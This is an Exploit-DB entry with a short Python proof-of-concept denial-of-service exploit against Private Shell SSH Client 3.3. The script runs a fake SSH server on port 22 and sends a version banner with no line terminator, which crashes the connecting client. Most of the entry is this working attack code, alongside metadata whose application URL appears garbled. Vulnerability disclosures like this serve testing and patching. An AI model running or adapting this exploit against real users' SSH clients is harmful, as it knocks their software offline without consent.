Private Shell SSH Client 3.3 - Crash (PoC)

Author: 3unnym00n
type: dos
platform: windows
port: 22.0
date_added: 2015-05-29  
date_updated: 2015-05-31  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.compshell.exe  

raw file: 37149.py  

'''
# Exploit title: privateshell SSH Client v.3.3 denial of service vulnerability
# Date: 27-5-2015
# Vendor homepage: www.privateshell.com
# Software Link: http://www.privateshell.com/files/pshell.exe
# Version: 3.3
# Author: 3unnym00n

# Details:
# --------
# when doing the ssh version exchange, if the server send a banner missing \r\n, can lead the pshell crash

# Tested On: win7
# operating steps: run the py, then execute : "D:\programfile\Private Shell\ssh.exe" root@127.0.0.1

'''



import socket
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.bind(('127.0.0.1', 22))
soc.listen(1)
client, addr = soc.accept()
client.send('SSH-2.0-SUCK') ## no "\r\n" lead to crash